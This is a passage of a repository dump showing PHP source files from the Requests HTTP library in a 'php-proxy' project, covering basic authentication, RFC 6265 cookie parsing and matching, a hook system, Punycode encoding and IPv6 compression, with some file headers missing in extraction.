Firefox's 966 | // ruleset. 967 | $parts = explode('.', $host); 968 | if (ip2long($host) === false && count($parts) >= 3) { 969 | $parts[0] = '*'; 970 | $wildcard = implode('.', $parts); 971 | if ($wildcard === $reference) { 972 | return true; 973 | } 974 | } 975 | 976 | return false; 977 | } 978 | } 979 | -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Auth.php: -------------------------------------------------------------------------------- 1 | user, $this->pass) = $args; 46 | } 47 | } 48 | 49 | /** 50 | * Register the necessary callbacks 51 | * 52 | * @see curl_before_send 53 | * @see fsockopen_header 54 | * @param Requests_Hooks $hooks Hook system 55 | */ 56 | public function register(Requests_Hooks &$hooks) { 57 | $hooks->register('curl.before_send', array(&$this, 'curl_before_send')); 58 | $hooks->register('fsockopen.after_headers', array(&$this, 'fsockopen_header')); 59 | } 60 | 61 | /** 62 | * Set cURL parameters before the data is sent 63 | * 64 | * @param resource $handle cURL resource 65 | */ 66 | public function curl_before_send(&$handle) { 67 | curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); 68 | curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString()); 69 | } 70 | 71 | /** 72 | * Add extra headers to the request before sending 73 | * 74 | * @param string $out HTTP header string 75 | */ 76 | public function fsockopen_header(&$out) { 77 | $out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString())); 78 | } 79 | 80 | /** 81 | * Get the authentication string (user:pass) 82 | * 83 | * @return string 84 | */ 85 | public function getAuthString() { 86 | return $this->user . ':' . $this->pass; 87 | } 88 | } -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Cookie.php: -------------------------------------------------------------------------------- 1 | name = $name; 69 | $this->value = $value; 70 | $this->attributes = $attributes; 71 | $default_flags = array( 72 | 'creation' => time(), 73 | 'last-access' => time(), 74 | 'persistent' => false, 75 | 'host-only' => true, 76 | ); 77 | $this->flags = array_merge($default_flags, $flags); 78 | 79 | $this->reference_time = time(); 80 | if ($reference_time !== null) { 81 | $this->reference_time = $reference_time; 82 | } 83 | 84 | $this->normalize(); 85 | } 86 | 87 | /** 88 | * Check if a cookie is expired. 89 | * 90 | * Checks the age against $this->reference_time to determine if the cookie 91 | * is expired. 92 | * 93 | * @return boolean True if expired, false if time is valid. 94 | */ 95 | public function is_expired() { 96 | // RFC6265, s. 4.1.2.2: 97 | // If a cookie has both the Max-Age and the Expires attribute, the Max- 98 | // Age attribute has precedence and controls the expiration date of the 99 | // cookie. 100 | if (isset($this->attributes['max-age'])) { 101 | $max_age = $this->attributes['max-age']; 102 | return $max_age < $this->reference_time; 103 | } 104 | 105 | if (isset($this->attributes['expires'])) { 106 | $expires = $this->attributes['expires']; 107 | return $expires < $this->reference_time; 108 | } 109 | 110 | return false; 111 | } 112 | 113 | /** 114 | * Check if a cookie is valid for a given URI 115 | * 116 | * @param Requests_IRI $uri URI to check 117 | * @return boolean Whether the cookie is valid for the given URI 118 | */ 119 | public function uri_matches(Requests_IRI $uri) { 120 | if (!$this->domain_matches($uri->host)) { 121 | return false; 122 | } 123 | 124 | if (!$this->path_matches($uri->path)) { 125 | return false; 126 | } 127 | 128 | return empty($this->attributes['secure']) || $uri->scheme === 'https'; 129 | } 130 | 131 | /** 132 | * Check if a cookie is valid for a given domain 133 | * 134 | * @param string $string Domain to check 135 | * @return boolean Whether the cookie is valid for the given domain 136 | */ 137 | public function domain_matches($string) { 138 | if (!isset($this->attributes['domain'])) { 139 | // Cookies created manually; cookies created by Requests will set 140 | // the domain to the requested domain 141 | return true; 142 | } 143 | 144 | $domain_string = $this->attributes['domain']; 145 | if ($domain_string === $string) { 146 | // The domain string and the string are identical. 147 | return true; 148 | } 149 | 150 | // If the cookie is marked as host-only and we don't have an exact 151 | // match, reject the cookie 152 | if ($this->flags['host-only'] === true) { 153 | return false; 154 | } 155 | 156 | if (strlen($string) <= strlen($domain_string)) { 157 | // For obvious reasons, the string cannot be a suffix if the domain 158 | // is shorter than the domain string 159 | return false; 160 | } 161 | 162 | if (substr($string, -1 * strlen($domain_string)) !== $domain_string) { 163 | // The domain string should be a suffix of the string. 164 | return false; 165 | } 166 | 167 | $prefix = substr($string, 0, strlen($string) - strlen($domain_string)); 168 | if (substr($prefix, -1) !== '.') { 169 | // The last character of the string that is not included in the 170 | // domain string should be a %x2E (".") character. 171 | return false; 172 | } 173 | 174 | // The string should be a host name (i.e., not an IP address). 175 | return !preg_match('#^(.+\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $string); 176 | } 177 | 178 | /** 179 | * Check if a cookie is valid for a given path 180 | * 181 | * From the path-match check in RFC 6265 section 5.1.4 182 | * 183 | * @param string $request_path Path to check 184 | * @return boolean Whether the cookie is valid for the given path 185 | */ 186 | public function path_matches($request_path) { 187 | if (empty($request_path)) { 188 | // Normalize empty path to root 189 | $request_path = '/'; 190 | } 191 | 192 | if (!isset($this->attributes['path'])) { 193 | // Cookies created manually; cookies created by Requests will set 194 | // the path to the requested path 195 | return true; 196 | } 197 | 198 | $cookie_path = $this->attributes['path']; 199 | 200 | if ($cookie_path === $request_path) { 201 | // The cookie-path and the request-path are identical. 202 | return true; 203 | } 204 | 205 | if (strlen($request_path) > strlen($cookie_path) && substr($request_path, 0, strlen($cookie_path)) === $cookie_path) { 206 | if (substr($cookie_path, -1) === '/') { 207 | // The cookie-path is a prefix of the request-path, and the last 208 | // character of the cookie-path is %x2F ("/"). 209 | return true; 210 | } 211 | 212 | if (substr($request_path, strlen($cookie_path), 1) === '/') { 213 | // The cookie-path is a prefix of the request-path, and the 214 | // first character of the request-path that is not included in 215 | // the cookie-path is a %x2F ("/") character. 216 | return true; 217 | } 218 | } 219 | 220 | return false; 221 | } 222 | 223 | /** 224 | * Normalize cookie and attributes 225 | * 226 | * @return boolean Whether the cookie was successfully normalized 227 | */ 228 | public function normalize() { 229 | foreach ($this->attributes as $key => $value) { 230 | $orig_value = $value; 231 | $value = $this->normalize_attribute($key, $value); 232 | if ($value === null) { 233 | unset($this->attributes[$key]); 234 | continue; 235 | } 236 | 237 | if ($value !== $orig_value) { 238 | $this->attributes[$key] = $value; 239 | } 240 | } 241 | 242 | return true; 243 | } 244 | 245 | /** 246 | * Parse an individual cookie attribute 247 | * 248 | * Handles parsing individual attributes from the cookie values. 249 | * 250 | * @param string $name Attribute name 251 | * @param string|boolean $value Attribute value (string value, or true if empty/flag) 252 | * @return mixed Value if available, or null if the attribute value is invalid (and should be skipped) 253 | */ 254 | protected function normalize_attribute($name, $value) { 255 | switch (strtolower($name)) { 256 | case 'expires': 257 | // Expiration parsing, as per RFC 6265 section 5.2.1 258 | if (is_int($value)) { 259 | return $value; 260 | } 261 | 262 | $expiry_time = strtotime($value); 263 | if ($expiry_time === false) { 264 | return null; 265 | } 266 | 267 | return $expiry_time; 268 | 269 | case 'max-age': 270 | // Expiration parsing, as per RFC 6265 section 5.2.2 271 | if (is_int($value)) { 272 | return $value; 273 | } 274 | 275 | // Check that we have a valid age 276 | if (!preg_match('/^-?\d+$/', $value)) { 277 | return null; 278 | } 279 | 280 | $delta_seconds = (int) $value; 281 | if ($delta_seconds <= 0) { 282 | $expiry_time = 0; 283 | } 284 | else { 285 | $expiry_time = $this->reference_time + $delta_seconds; 286 | } 287 | 288 | return $expiry_time; 289 | 290 | case 'domain': 291 | // Domain normalization, as per RFC 6265 section 5.2.3 292 | if ($value[0] === '.') { 293 | $value = substr($value, 1); 294 | } 295 | 296 | return $value; 297 | 298 | default: 299 | return $value; 300 | } 301 | } 302 | 303 | /** 304 | * Format a cookie for a Cookie header 305 | * 306 | * This is used when sending cookies to a server. 307 | * 308 | * @return string Cookie formatted for Cookie header 309 | */ 310 | public function format_for_header() { 311 | return sprintf('%s=%s', $this->name, $this->value); 312 | } 313 | 314 | /** 315 | * Format a cookie for a Cookie header 316 | * 317 | * @codeCoverageIgnore 318 | * @deprecated Use {@see Requests_Cookie::format_for_header} 319 | * @return string 320 | */ 321 | public function formatForHeader() { 322 | return $this->format_for_header(); 323 | } 324 | 325 | /** 326 | * Format a cookie for a Set-Cookie header 327 | * 328 | * This is used when sending cookies to clients. This isn't really 329 | * applicable to client-side usage, but might be handy for debugging. 330 | * 331 | * @return string Cookie formatted for Set-Cookie header 332 | */ 333 | public function format_for_set_cookie() { 334 | $header_value = $this->format_for_header(); 335 | if (!empty($this->attributes)) { 336 | $parts = array(); 337 | foreach ($this->attributes as $key => $value) { 338 | // Ignore non-associative attributes 339 | if (is_numeric($key)) { 340 | $parts[] = $value; 341 | } 342 | else { 343 | $parts[] = sprintf('%s=%s', $key, $value); 344 | } 345 | } 346 | 347 | $header_value .= '; ' . implode('; ', $parts); 348 | } 349 | return $header_value; 350 | } 351 | 352 | /** 353 | * Format a cookie for a Set-Cookie header 354 | * 355 | * @codeCoverageIgnore 356 | * @deprecated Use {@see Requests_Cookie::format_for_set_cookie} 357 | * @return string 358 | */ 359 | public function formatForSetCookie() { 360 | return $this->format_for_set_cookie(); 361 | } 362 | 363 | /** 364 | * Get the cookie value 365 | * 366 | * Attributes and other data can be accessed via methods. 367 | */ 368 | public function __toString() { 369 | return $this->value; 370 | } 371 | 372 | /** 373 | * Parse a cookie string into a cookie object 374 | * 375 | * Based on Mozilla's parsing code in Firefox and related projects, which 376 | * is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265 377 | * specifies some of this handling, but not in a thorough manner. 378 | * 379 | * @param string Cookie header value (from a Set-Cookie header) 380 | * @return Requests_Cookie Parsed cookie object 381 | */ 382 | public static function parse($string, $name = '', $reference_time = null) { 383 | $parts = explode(';', $string); 384 | $kvparts = array_shift($parts); 385 | 386 | if (!empty($name)) { 387 | $value = $string; 388 | } 389 | elseif (strpos($kvparts, '=') === false) { 390 | // Some sites might only have a value without the equals separator. 391 | // Deviate from RFC 6265 and pretend it was actually a blank name 392 | // (`=foo`) 393 | // 394 | // https://bugzilla.mozilla.org/show_bug.cgi?id=169091 395 | $name = ''; 396 | $value = $kvparts; 397 | } 398 | else { 399 | list($name, $value) = explode('=', $kvparts, 2); 400 | } 401 | $name = trim($name); 402 | $value = trim($value); 403 | 404 | // Attribute key are handled case-insensitively 405 | $attributes = new Requests_Utility_CaseInsensitiveDictionary(); 406 | 407 | if (!empty($parts)) { 408 | foreach ($parts as $part) { 409 | if (strpos($part, '=') === false) { 410 | $part_key = $part; 411 | $part_value = true; 412 | } 413 | else { 414 | list($part_key, $part_value) = explode('=', $part, 2); 415 | $part_value = trim($part_value); 416 | } 417 | 418 | $part_key = trim($part_key); 419 | $attributes[$part_key] = $part_value; 420 | } 421 | } 422 | 423 | return new Requests_Cookie($name, $value, $attributes, array(), $reference_time); 424 | } 425 | 426 | /** 427 | * Parse all Set-Cookie headers from request headers 428 | * 429 | * @param Requests_Response_Headers $headers Headers to parse from 430 | * @param Requests_IRI|null $origin URI for comparing cookie origins 431 | * @param int|null $time Reference time for expiration calculation 432 | * @return array 433 | */ 434 | public static function parse_from_headers(Requests_Response_Headers $headers, Requests_IRI $origin = null, $time = null) { 435 | $cookie_headers = $headers->getValues('Set-Cookie'); 436 | if (empty($cookie_headers)) { 437 | return array(); 438 | } 439 | 440 | $cookies = array(); 441 | foreach ($cookie_headers as $header) { 442 | $parsed = self::parse($header, '', $time); 443 | 444 | // Default domain/path attributes 445 | if (empty($parsed->attributes['domain']) && !empty($origin)) { 446 | $parsed->attributes['domain'] = $origin->host; 447 | $parsed->flags['host-only'] = true; 448 | } 449 | else { 450 | $parsed->flags['host-only'] = false; 451 | } 452 | 453 | $path_is_valid = (!empty($parsed->attributes['path']) && $parsed->attributes['path'][0] === '/'); 454 | if (!$path_is_valid && !empty($origin)) { 455 | $path = $origin->path; 456 | 457 | // Default path normalization as per RFC 6265 section 5.1.4 458 | if (substr($path, 0, 1) !== '/') { 459 | // If the uri-path is empty or if the first character of 460 | // the uri-path is not a %x2F ("/") character, output 461 | // %x2F ("/") and skip the remaining steps. 462 | $path = '/'; 463 | } 464 | elseif (substr_count($path, '/') === 1) { 465 | // If the uri-path contains no more than one %x2F ("/") 466 | // character, output %x2F ("/") and skip the remaining 467 | // step. 468 | $path = '/'; 469 | } 470 | else { 471 | // Output the characters of the uri-path from the first 472 | // character up to, but not including, the right-most 473 | // %x2F ("/"). 474 | $path = substr($path, 0, strrpos($path, '/')); 475 | } 476 | $parsed->attributes['path'] = $path; 477 | } 478 | 479 | // Reject invalid cookie domains 480 | if (!empty($origin) && !$parsed->domain_matches($origin->host)) { 481 | continue; 482 | } 483 | 484 | $cookies[$parsed->name] = $parsed; 485 | } 486 | 487 | return $cookies; 488 | } 489 | 490 | /** 491 | * Parse all Set-Cookie headers from request headers 492 | * 493 | * @codeCoverageIgnore 494 | * @deprecated Use {@see Requests_Cookie::parse_from_headers} 495 | * @return string 496 | */ 497 | public static function parseFromHeaders(Requests_Response_Headers $headers) { 498 | return self::parse_from_headers($headers); 499 | } 500 | } 501 | -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Cookie/Jar.php: -------------------------------------------------------------------------------- 1 | cookies = $cookies; 30 | } 31 | 32 | /** 33 | * Normalise cookie data into a Requests_Cookie 34 | * 35 | * @param string|Requests_Cookie $cookie 36 | * @return Requests_Cookie 37 | */ 38 | public function normalize_cookie($cookie, $key = null) { 39 | if ($cookie instanceof Requests_Cookie) { 40 | return $cookie; 41 | } 42 | 43 | return Requests_Cookie::parse($cookie, $key); 44 | } 45 | 46 | /** 47 | * Normalise cookie data into a Requests_Cookie 48 | * 49 | * @codeCoverageIgnore 50 | * @deprecated Use {@see Requests_Cookie_Jar::normalize_cookie} 51 | * @return Requests_Cookie 52 | */ 53 | public function normalizeCookie($cookie, $key = null) { 54 | return $this->normalize_cookie($cookie, $key); 55 | } 56 | 57 | /** 58 | * Check if the given item exists 59 | * 60 | * @param string $key Item key 61 | * @return boolean Does the item exist? 62 | */ 63 | public function offsetExists($key) { 64 | return isset($this->cookies[$key]); 65 | } 66 | 67 | /** 68 | * Get the value for the item 69 | * 70 | * @param string $key Item key 71 | * @return string Item value 72 | */ 73 | public function offsetGet($key) { 74 | if (!isset($this->cookies[$key])) { 75 | return null; 76 | } 77 | 78 | return $this->cookies[$key]; 79 | } 80 | 81 | /** 82 | * Set the given item 83 | * 84 | * @throws Requests_Exception On attempting to use dictionary as list (`invalidset`) 85 | * 86 | * @param string $key Item name 87 | * @param string $value Item value 88 | */ 89 | public function offsetSet($key, $value) { 90 | if ($key === null) { 91 | throw new Requests_Exception('Object is a dictionary, not a list', 'invalidset'); 92 | } 93 | 94 | $this->cookies[$key] = $value; 95 | } 96 | 97 | /** 98 | * Unset the given header 99 | * 100 | * @param string $key 101 | */ 102 | public function offsetUnset($key) { 103 | unset($this->cookies[$key]); 104 | } 105 | 106 | /** 107 | * Get an iterator for the data 108 | * 109 | * @return ArrayIterator 110 | */ 111 | public function getIterator() { 112 | return new ArrayIterator($this->cookies); 113 | } 114 | 115 | /** 116 | * Register the cookie handler with the request's hooking system 117 | * 118 | * @param Requests_Hooker $hooks Hooking system 119 | */ 120 | public function register(Requests_Hooker $hooks) { 121 | $hooks->register('requests.before_request', array($this, 'before_request')); 122 | $hooks->register('requests.before_redirect_check', array($this, 'before_redirect_check')); 123 | } 124 | 125 | /** 126 | * Add Cookie header to a request if we have any 127 | * 128 | * As per RFC 6265, cookies are separated by '; ' 129 | * 130 | * @param string $url 131 | * @param array $headers 132 | * @param array $data 133 | * @param string $type 134 | * @param array $options 135 | */ 136 | public function before_request($url, &$headers, &$data, &$type, &$options) { 137 | if (!$url instanceof Requests_IRI) { 138 | $url = new Requests_IRI($url); 139 | } 140 | 141 | if (!empty($this->cookies)) { 142 | $cookies = array(); 143 | foreach ($this->cookies as $key => $cookie) { 144 | $cookie = $this->normalize_cookie($cookie, $key); 145 | 146 | // Skip expired cookies 147 | if ($cookie->is_expired()) { 148 | continue; 149 | } 150 | 151 | if ($cookie->domain_matches($url->host)) { 152 | $cookies[] = $cookie->format_for_header(); 153 | } 154 | } 155 | 156 | $headers['Cookie'] = implode('; ', $cookies); 157 | } 158 | } 159 | 160 | /** 161 | * Parse all cookies from a response and attach them to the response 162 | * 163 | * @var Requests_Response $response 164 | */ 165 | public function before_redirect_check(Requests_Response &$return) { 166 | $url = $return->url; 167 | if (!$url instanceof Requests_IRI) { 168 | $url = new Requests_IRI($url); 169 | } 170 | 171 | $cookies = Requests_Cookie::parse_from_headers($return->headers, $url); 172 | $this->cookies = array_merge($this->cookies, $cookies); 173 | $return->cookies = $this; 174 | } 175 | } -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Exception.php: -------------------------------------------------------------------------------- 1 | type = $type; 40 | $this->data = $data; 41 | } 42 | 43 | /** 44 | * Like {@see getCode()}, but a string code. 45 | * 46 | * @codeCoverageIgnore 47 | * @return string 48 | */ 49 | public function getType() { 50 | return $this->type; 51 | } 52 | 53 | /** 54 | * Gives any relevant data 55 | * 56 | * @codeCoverageIgnore 57 | * @return mixed 58 | */ 59 | public function getData() { 60 | return $this->data; 61 | } 62 | } -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Exception/HTTP.php: -------------------------------------------------------------------------------- 1 | reason = $reason; 40 | } 41 | 42 | $message = sprintf('%d %s', $this->code, $this->reason); 43 | parent::__construct($message, 'httpresponse', $data, $this->code); 44 | } 45 | 46 | /** 47 | * Get the status message 48 | */ 49 | public function getReason() { 50 | return $this->reason; 51 | } 52 | 53 | /** 54 | * Get the correct exception class for a given error code 55 | * 56 | * @param int|bool $code HTTP status code, or false if unavailable 57 | * @return string Exception class name to use 58 | */ 59 | public static function get_class($code) { 60 | if (!$code) { 61 | return 'Requests_Exception_HTTP_Unknown'; 62 | } 63 | 64 | $class = sprintf('Requests_Exception_HTTP_%d', $code); 65 | if (class_exists($class)) { 66 | return $class; 67 | } 68 | 69 | return 'Requests_Exception_HTTP_Unknown'; 70 | } 71 | } -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Exception/HTTP/304.php: -------------------------------------------------------------------------------- 1 | code = $data->status_code; 40 | } 41 | 42 | parent::__construct($reason, $data); 43 | } 44 | } -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Exception/Transport.php: -------------------------------------------------------------------------------- 1 | type = $type; 35 | } 36 | 37 | if ($code !== null) { 38 | $this->code = $code; 39 | } 40 | 41 | if ($message !== null) { 42 | $this->reason = $message; 43 | } 44 | 45 | $message = sprintf('%d %s', $this->code, $this->reason); 46 | parent::__construct($message, $this->type, $data, $this->code); 47 | } 48 | 49 | /** 50 | * Get the error message 51 | */ 52 | public function getReason() { 53 | return $this->reason; 54 | } 55 | 56 | } 57 | -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Hooker.php: -------------------------------------------------------------------------------- 1 | 0 is executed later 22 | */ 23 | public function register($hook, $callback, $priority = 0); 24 | 25 | /** 26 | * Dispatch a message 27 | * 28 | * @param string $hook Hook name 29 | * @param array $parameters Parameters to pass to callbacks 30 | * @return boolean Successfulness 31 | */ 32 | public function dispatch($hook, $parameters = array()); 33 | } -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Hooks.php: -------------------------------------------------------------------------------- 1 | 0 is executed later 36 | */ 37 | public function register($hook, $callback, $priority = 0) { 38 | if (!isset($this->hooks[$hook])) { 39 | $this->hooks[$hook] = array(); 40 | } 41 | if (!isset($this->hooks[$hook][$priority])) { 42 | $this->hooks[$hook][$priority] = array(); 43 | } 44 | 45 | $this->hooks[$hook][$priority][] = $callback; 46 | } 47 | 48 | /** 49 | * Dispatch a message 50 | * 51 | * @param string $hook Hook name 52 | * @param array $parameters Parameters to pass to callbacks 53 | * @return boolean Successfulness 54 | */ 55 | public function dispatch($hook, $parameters = array()) { 56 | if (empty($this->hooks[$hook])) { 57 | return false; 58 | } 59 | 60 | foreach ($this->hooks[$hook] as $priority => $hooked) { 61 | foreach ($hooked as $callback) { 62 | call_user_func_array($callback, $parameters); 63 | } 64 | } 65 | 66 | return true; 67 | } 68 | } -------------------------------------------------------------------------------- /php-proxy/requests/Requests/IDNAEncoder.php: -------------------------------------------------------------------------------- 1 | 0) { 177 | if ($position + $length > $strlen) { 178 | throw new Requests_Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character); 179 | } 180 | for ($position++; $remaining > 0; $position++) { 181 | $value = ord($input[$position]); 182 | 183 | // If it is invalid, count the sequence as invalid and reprocess the current byte: 184 | if (($value & 0xC0) !== 0x80) { 185 | throw new Requests_Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character); 186 | } 187 | 188 | $character |= ($value & 0x3F) << (--$remaining * 6); 189 | } 190 | $position--; 191 | } 192 | 193 | if ( 194 | // Non-shortest form sequences are invalid 195 | $length > 1 && $character <= 0x7F 196 | || $length > 2 && $character <= 0x7FF 197 | || $length > 3 && $character <= 0xFFFF 198 | // Outside of range of ucschar codepoints 199 | // Noncharacters 200 | || ($character & 0xFFFE) === 0xFFFE 201 | || $character >= 0xFDD0 && $character <= 0xFDEF 202 | || ( 203 | // Everything else not in ucschar 204 | $character > 0xD7FF && $character < 0xF900 205 | || $character < 0x20 206 | || $character > 0x7E && $character < 0xA0 207 | || $character > 0xEFFFD 208 | ) 209 | ) { 210 | throw new Requests_Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character); 211 | } 212 | 213 | $codepoints[] = $character; 214 | } 215 | 216 | return $codepoints; 217 | } 218 | 219 | /** 220 | * RFC3492-compliant encoder 221 | * 222 | * @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code 223 | * @throws Requests_Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`) 224 | * 225 | * @param string $input UTF-8 encoded string to encode 226 | * @return string Punycode-encoded string 227 | */ 228 | public static function punycode_encode($input) { 229 | $output = ''; 230 | # let n = initial_n 231 | $n = self::BOOTSTRAP_INITIAL_N; 232 | # let delta = 0 233 | $delta = 0; 234 | # let bias = initial_bias 235 | $bias = self::BOOTSTRAP_INITIAL_BIAS; 236 | # let h = b = the number of basic code points in the input 237 | $h = $b = 0; // see loop 238 | # copy them to the output in order 239 | $codepoints = self::utf8_to_codepoints($input); 240 | $extended = array(); 241 | 242 | foreach ($codepoints as $char) { 243 | if ($char < 128) { 244 | // Character is valid ASCII 245 | // TODO: this should also check if it's valid for a URL 246 | $output .= chr($char); 247 | $h++; 248 | } 249 | // Check if the character is non-ASCII, but below initial n 250 | // This never occurs for Punycode, so ignore in coverage 251 | // @codeCoverageIgnoreStart 252 | elseif ($char < $n) { 253 | throw new Requests_Exception('Invalid character', 'idna.character_outside_domain', $char); 254 | } 255 | // @codeCoverageIgnoreEnd 256 | else { 257 | $extended[$char] = true; 258 | } 259 | } 260 | $extended = array_keys($extended); 261 | sort($extended); 262 | $b = $h; 263 | # [copy them] followed by a delimiter if b > 0 264 | if (strlen($output) > 0) { 265 | $output .= '-'; 266 | } 267 | # {if the input contains a non-basic code point < n then fail} 268 | # while h < length(input) do begin 269 | while ($h < count($codepoints)) { 270 | # let m = the minimum code point >= n in the input 271 | $m = array_shift($extended); 272 | //printf('next code point to insert is %s' . PHP_EOL, dechex($m)); 273 | # let delta = delta + (m - n) * (h + 1), fail on overflow 274 | $delta += ($m - $n) * ($h + 1); 275 | # let n = m 276 | $n = $m; 277 | # for each code point c in the input (in order) do begin 278 | for ($num = 0; $num < count($codepoints); $num++) { 279 | $c = $codepoints[$num]; 280 | # if c < n then increment delta, fail on overflow 281 | if ($c < $n) { 282 | $delta++; 283 | } 284 | # if c == n then begin 285 | elseif ($c === $n) { 286 | # let q = delta 287 | $q = $delta; 288 | # for k = base to infinity in steps of base do begin 289 | for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) { 290 | # let t = tmin if k <= bias {+ tmin}, or 291 | # tmax if k >= bias + tmax, or k - bias otherwise 292 | if ($k <= ($bias + self::BOOTSTRAP_TMIN)) { 293 | $t = self::BOOTSTRAP_TMIN; 294 | } 295 | elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) { 296 | $t = self::BOOTSTRAP_TMAX; 297 | } 298 | else { 299 | $t = $k - $bias; 300 | } 301 | # if q < t then break 302 | if ($q < $t) { 303 | break; 304 | } 305 | # output the code point for digit t + ((q - t) mod (base - t)) 306 | $digit = $t + (($q - $t) % (self::BOOTSTRAP_BASE - $t)); 307 | $output .= self::digit_to_char($digit); 308 | # let q = (q - t) div (base - t) 309 | $q = floor(($q - $t) / (self::BOOTSTRAP_BASE - $t)); 310 | # end 311 | } 312 | # output the code point for digit q 313 | $output .= self::digit_to_char($q); 314 | # let bias = adapt(delta, h + 1, test h equals b?) 315 | $bias = self::adapt($delta, $h + 1, $h === $b); 316 | # let delta = 0 317 | $delta = 0; 318 | # increment h 319 | $h++; 320 | # end 321 | } 322 | # end 323 | } 324 | # increment delta and n 325 | $delta++; 326 | $n++; 327 | # end 328 | } 329 | 330 | return $output; 331 | } 332 | 333 | /** 334 | * Convert a digit to its respective character 335 | * 336 | * @see https://tools.ietf.org/html/rfc3492#section-5 337 | * @throws Requests_Exception On invalid digit (`idna.invalid_digit`) 338 | * 339 | * @param int $digit Digit in the range 0-35 340 | * @return string Single character corresponding to digit 341 | */ 342 | protected static function digit_to_char($digit) { 343 | // @codeCoverageIgnoreStart 344 | // As far as I know, this never happens, but still good to be sure. 345 | if ($digit < 0 || $digit > 35) { 346 | throw new Requests_Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit); 347 | } 348 | // @codeCoverageIgnoreEnd 349 | $digits = 'abcdefghijklmnopqrstuvwxyz0123456789'; 350 | return substr($digits, $digit, 1); 351 | } 352 | 353 | /** 354 | * Adapt the bias 355 | * 356 | * @see https://tools.ietf.org/html/rfc3492#section-6.1 357 | * @param int $delta 358 | * @param int $numpoints 359 | * @param bool $firsttime 360 | * @return int New bias 361 | */ 362 | protected static function adapt($delta, $numpoints, $firsttime) { 363 | # function adapt(delta,numpoints,firsttime): 364 | # if firsttime then let delta = delta div damp 365 | if ($firsttime) { 366 | $delta = floor($delta / self::BOOTSTRAP_DAMP); 367 | } 368 | # else let delta = delta div 2 369 | else { 370 | $delta = floor($delta / 2); 371 | } 372 | # let delta = delta + (delta div numpoints) 373 | $delta += floor($delta / $numpoints); 374 | # let k = 0 375 | $k = 0; 376 | # while delta > ((base - tmin) * tmax) div 2 do begin 377 | $max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2); 378 | while ($delta > $max) { 379 | # let delta = delta div (base - tmin) 380 | $delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN)); 381 | # let k = k + base 382 | $k += self::BOOTSTRAP_BASE; 383 | # end 384 | } 385 | # return k + (((base - tmin + 1) * delta) div (delta + skew)) 386 | return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW)); 387 | } 388 | } -------------------------------------------------------------------------------- /php-proxy/requests/Requests/IPv6.php: -------------------------------------------------------------------------------- 1 | FF01:0:0:0:0:0:0:101 27 | * ::1 -> 0:0:0:0:0:0:0:1 28 | * 29 | * @author Alexander Merz 30 | * @author elfrink at introweb dot nl 31 | * @author Josh Peck 32 | * @copyright 2003-2005 The PHP Group 33 | * @license http://www.opensource.org/licenses/bsd-license.php 34 | * @param string $ip An IPv6 address 35 | * @return string The uncompressed IPv6 address 36 | */ 37 | public static function uncompress($ip) { 38 | if (substr_count($ip, '::') !== 1) { 39 | return $ip; 40 | } 41 | 42 | list($ip1, $ip2) = explode('::', $ip); 43 | $c1 = ($ip1 === '') ? -1 : substr_count($ip1, ':'); 44 | $c2 = ($ip2 === '') ? -1 : substr_count($ip2, ':'); 45 | 46 | if (strpos($ip2, '.') !== false) { 47 | $c2++; 48 | } 49 | // :: 50 | if ($c1 === -1 && $c2 === -1) { 51 | $ip = '0:0:0:0:0:0:0:0'; 52 | } 53 | // ::xxx 54 | else if ($c1 === -1) { 55 | $fill = str_repeat('0:', 7 - $c2); 56 | $ip = str_replace('::', $fill, $ip); 57 | } 58 | // xxx:: 59 | else if ($c2 === -1) { 60 | $fill = str_repeat(':0', 7 - $c1); 61 | $ip = str_replace('::', $fill, $ip); 62 | } 63 | // xxx::xxx 64 | else { 65 | $fill = ':' . str_repeat('0:', 6 - $c2 - $c1); 66 | $ip = str_replace('::', $fill, $ip); 67 | } 68 | return $ip; 69 | } 70 | 71 | /** 72 | * Compresses an IPv6 address 73 | * 74 | * RFC 4291 allows you to compress consecutive zero pieces in an address to 75 | * '::'. This method expects a valid IPv6 address and compresses consecutive 76 | * zero pieces to '::'. 77 | * 78 | * Example: FF01:0:0:0:0:0:0:101 -> FF01::101 79 | * 0:0:0:0:0:0:0:1 -> ::1 80 | * 81 | * @see uncompress() 82 | * @param string $ip An IPv6 address 83 | * @return string The compressed IPv6 address 84 | */ 85 | public static function compress($ip) { 86 | // Prepare the IP to be compressed 87 | $ip = self::uncompress($ip); 88 | $ip_parts = self::split_v6_v4($ip); 89 | 90 | // Replace all leading zeros 91 | $ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]); 92 | 93 | // Find bunches of zeros 94 | if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) { 95 | $max = 0; 96 | $pos = null; 97 | foreach ($matches[0] as $match) { 98 | if (strlen($match[0]) > $max) { 99 | $max = strlen($match[0]); 100 | $pos = $match[1]; 101 | } 102 | } 103 | 104 | $ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max); 105 | } 106 | 107 | if ($ip_parts[1] !== '') { 108 | return implode(':', 